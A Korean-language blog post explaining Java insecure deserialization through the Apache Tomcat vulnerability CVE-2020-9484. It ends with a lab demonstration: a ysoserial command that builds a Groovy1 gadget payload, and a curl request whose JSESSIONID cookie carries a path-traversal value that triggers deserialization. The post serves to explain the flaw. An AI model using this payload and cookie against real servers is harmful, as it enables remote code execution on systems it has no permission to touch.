CVE-2020-9484 (Apache Tomcat Remote Code Execution Vulnerability)
Insecure Deserialization (안전하지 않은 역직렬화)
OWASP TOP 10에 등재된 Deserialization 공격에 대해 정리하려고 합니다.
이번에 발행된 CVE-2020-9484를 예를 들어서 포스팅을 작성하였습니다.
직렬화와 역직렬화
개요
-
직렬화 : 특정 Class의 현재 인스턴스 상태를 다른 서버로 전달 하기 위해
Byte Code로 복사하는 작업, 직렬화(Serialization) -
역직렬화 : 저장된 파일에서 Byte Code를 읽거나 전송된 스트림 데이터를 읽어
특정 Class의 인스턴스 형태로 복원하는 것, 역직렬화 (Deserialization)
Serialization / Deserialization의 제약사항
데이터 Deserialization 과정에서 원격코드 실행이나 권한 상승 취약점들이 발생할 수 있다.
- 데이터를 처리하는 곳 모두 ClassPath안에 전달된 객체에 대한 Library 가지고 있어야함
- 전송할 인스턴스는 Java.io.Serializable을 implement해야함
(즉, 직렬화가 불가능한 인스턴스를 포함하면 안됨) - transient field 인스턴스는 정보가 전달 되지 않음
- Serialization / Deserialization 는 기 생성된 인스턴스의 복사만 가능하여
Constructor가 실행되지 않음
CVE-2020-9484
(Apache Tomcat Remote Code Execution Vulnerability)
영향받는 버전 및 요구사항
- Apache Tomcat 10.x < 10.0.0-M5
- Apache Tomcat 9.x < 9.0.35
- Apache Tomcat 8.x < 8.5.55
- Apache Tomcat 7.x < 7.0.104
- PersistentManger 활성화, FileStore 사용중
- Deserialization 공격 파일 업로드 가능, 업로드 경로 확인 가능
왜 세션인가?
Tomcat은 Session management 방법을 2가지 제공하고 있습니다.
-
org.apache.catalina.session.StandardManager (default)
-
org.apache.catalina.session.PersistentManager
StandarManager는 구동중에는 메모리에 저장하고 있다가 종료시 session을
Serialized 된 데이터를 disk에 저장합니다 ( default로 SESSIONS.ser )
PersistentManager는 동일하나 메모리 관리를 위해 session이 일정 시간 동안
사용 되지 않으면 데이터를 disk에 저장합니다.
여기서 2개 옵션을 사용 할 수 있는데 FileStore와 JDBCStore 입니다.
FileStore는 session을 disk에 저장하는데 sessionID를 파일이름으로 사용합니다.
JDBCStore는 DB에 데이터를 저장합니다.
FileStore
따라서 FileStore를 사용하게 되면 아래 코드와 같이 directory + sessionID + ‘.session’인
파일에서 데이터를 불러오게 됩니다.
/**
* Return a File object representing the pathname to our
* session persistence file, if any.
*
* @param id The ID of the Session to be retrieved. This is
* used in the file naming.
*/
private File file(String id) throws IOException {
if (this.directory == null) {
return null;
}
String filename = id + FILE_EXT;
File file = new File(directory(), filename);
return file;
}
context.xml in tomcat conf
context.xml에서 FileStore가 사용중인 directory를 확인합니다.
<Manager className="org.apache.catalina.session.PersistentManager">
<Store className="org.apache.catalina.session.FileStore" directory="/tomcat/sessions/"/>
</Manager>
취약점 테스트
masahiro331 Github에 구성된 환경으로 테스트를 진행했습니다.
공격을 위해 ysoserial에서 해당 서버 환경에 맞는 Serialized된 bytecode를 생성합니다.
$ java -jar ysoserial.jar Groovy1 'touch /tmp/rce' > groovy.session
서버 내 공격코드 파일 (groovy.session)의 위치를 확인합니다.
root@e340adc43b93:/usr/local/tomcat# ls
BUILDING.txt LICENSE README.md RUNNING.txt conf include logs temp webapps.dist
CONTRIBUTING.md NOTICE RELEASE-NOTES bin groovy.session lib native-jni-lib webapps work
공격 코드 실행
$ curl 'http://127.0.0.1:8080/index.jsp' -H 'Cookie: JSESSIONID=../../usr/local/tomcat/groovy'
참고자료
- BLOG
Leave a comment